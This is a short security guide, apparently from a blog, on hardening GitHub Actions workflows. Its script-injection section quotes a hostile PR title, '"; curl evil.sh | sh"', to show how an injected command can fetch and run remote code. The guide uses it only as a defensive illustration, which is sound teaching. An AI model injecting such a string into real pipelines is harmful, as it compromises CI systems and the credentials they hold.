Securing GitHub Actions Workflows

A
Author
26 May, 2026 1 min read 1.03K views

CI pipelines hold deploy credentials and write access to your code, which makes them attractive targets. These practices close the most common holes.

1. Least-privilege GITHUB_TOKEN

permissions:
  contents: read        # default for the whole workflow

jobs:
  release:
    permissions:
      contents: write   # only this job can create releases

Also set the repository default to read-only in Settings.

2. Pin third-party actions to a commit SHA

# A tag can be moved to malicious code; a full SHA cannot
- uses: some-org/some-action@8f4b7f84864484a7bf31766abe9204da3cbe65b3 # v2.1.0

Tools like Dependabot and Renovate keep pinned SHAs updated, with the version in a comment.

3. Prevent script injection

# Dangerous: a PR title like  "; curl evil.sh | sh"  becomes part of the script
- run: echo "Checking ${{ github.event.pull_request.title }}"

# Safe: pass untrusted input through an environment variable
- run: echo "Checking $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

Treat issue titles, PR bodies, branch names and commit messages as untrusted input.

4. Be very careful with pull_request_target

pull_request_target runs with secrets and write permissions, even for PRs from forks. Never check out and run the PR's code in such a workflow. Use plain pull_request for building and testing contributions.

5. Protect secrets and deployments

  • Use environments with required reviewers for production credentials.
  • Use OIDC instead of long-lived cloud keys.
  • Don't use self-hosted runners for public repositories; a fork's PR could run code on your machine.

6. Audit regularly

Static analysers such as zizmor and actionlint flag risky patterns in workflow files. Run them in CI on changes to .github/workflows.

Was this article helpful?

Comments

No comments yet. Have a question or a tip? Be the first to share it.

Leave a comment

Comments are reviewed before they appear.